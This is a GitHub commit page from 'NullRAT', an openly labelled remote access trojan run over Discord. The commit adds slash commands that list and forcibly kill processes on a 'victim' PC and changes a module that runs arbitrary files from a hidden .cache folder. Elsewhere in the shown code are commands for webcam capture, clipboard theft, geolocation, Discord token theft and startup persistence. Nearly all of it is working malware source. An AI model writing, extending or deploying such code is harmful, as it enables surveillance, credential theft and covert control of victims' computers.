Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit dcb37fd

Browse files
committed
Add 3 new commands
1 parent e43ac49 commit dcb37fd

3 files changed

Lines changed: 102 additions & 2 deletions

File tree

NullRAT/RAT.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -170,8 +170,9 @@ async def second_button_callback(self, button, interaction):
170170
"getenv", # /get_environment
171171
"webcam", # /get_webcam
172172
"runfile", # /runfile
173-
"clipboard", # /get_clipboard
174173
"startup", # /startup
174+
"tasklist", # /tasklist
175+
"clipboard", # /get_clipboard
175176
"geolocate", # /get_geolocation
176177
"directory", # /get_currentdir & /set_currentdir & /list_directory & /list_rawdir
177178
"rawtokens", # /raw_tokens & /raw_discord

NullRAT/modules/runfile.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ async def runfile(self, ctx, victim, file_path):
2525

2626
output = subprocess.Popen(
2727
file_path,
28-
cwd = os.getcwd()
28+
cwd = nr_working
2929
)
3030

3131
return await ctx.response.send_message(

NullRAT/modules/tasklist.py

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
import disnake as discord
2+
from disnake.ext import commands
3+
from datetime import datetime
4+
from io import BytesIO
5+
6+
import os, requests
7+
nr_working = f"C:\\Users\\{os.getenv('username')}\\.cache"
8+
9+
class TaskList(commands.Cog):
10+
def __init__(self, bot: commands.Bot):
11+
self.bot = bot
12+
13+
@commands.slash_command( )
14+
async def list_runningtasks(self, ctx, victim):
15+
"""Lists all running tasks in the PC
16+
17+
Parameters
18+
----------
19+
victim: Identifier of the affected computer (found via /listvictims).
20+
"""
21+
22+
if str(victim) == str(self.bot.identifier):
23+
await ctx.response.defer()
24+
25+
list = os.popen('tasklist').read() # I swear I'll make it better later
26+
27+
if len(list) > 1998:
28+
return await ctx.followup.send(
29+
file=discord.File(
30+
BytesIO(bytes(list, 'utf-8')),
31+
filename = "tasklist.txt"
32+
)
33+
)
34+
else:
35+
return await ctx.followup.send(
36+
f"```{list}```"
37+
)
38+
39+
@commands.slash_command( )
40+
async def list_runningstore(self, ctx, victim):
41+
"""Lists all Microsoft Store apps running on the PC
42+
43+
Parameters
44+
----------
45+
victim: Identifier of the affected computer (found via /listvictims).
46+
"""
47+
48+
if str(victim) == str(self.bot.identifier):
49+
await ctx.response.defer()
50+
51+
list = os.popen('tasklist /APPS').read() # I SWEAR...
52+
53+
if len(list) > 1998:
54+
return await ctx.followup.send(
55+
file=discord.File(
56+
BytesIO(bytes(list, 'utf-8')),
57+
filename = "storelist.txt"
58+
)
59+
)
60+
else:
61+
return await ctx.followup.send(
62+
f"```{list}```"
63+
)
64+
65+
@commands.slash_command( )
66+
async def kill_runningtasks(self, ctx, victim, task):
67+
"""Kills a running task on this PC. [NOTE: ADMIN TASK'S CANT BE KILLED]
68+
69+
Parameters
70+
----------
71+
victim: Identifier of the affected computer (found via /listvictims).
72+
task: Task to kill ( give real name + extension {ex: mspaint.exe} )
73+
"""
74+
75+
if str(victim) == str(self.bot.identifier):
76+
await ctx.response.defer()
77+
78+
list = os.popen('taskkill /f /t /im ' + task).read() # I SWEAR...
79+
80+
if len(list) <= 1:
81+
return await ctx.followup.send(
82+
embed = self.bot.genEmbed(
83+
"Unable to find process!",
84+
datetime.now()
85+
)
86+
)
87+
if len(list) > 1998:
88+
return await ctx.followup.send(
89+
file=discord.File(
90+
BytesIO(bytes(list, 'utf-8')),
91+
filename = "storelist.txt"
92+
)
93+
)
94+
else:
95+
return await ctx.followup.send(
96+
f"```{list}```"
97+
)
98+
def setup(bot: commands.Bot):
99+
bot.add_cog(TaskList(bot))

0 commit comments

Comments
 (0)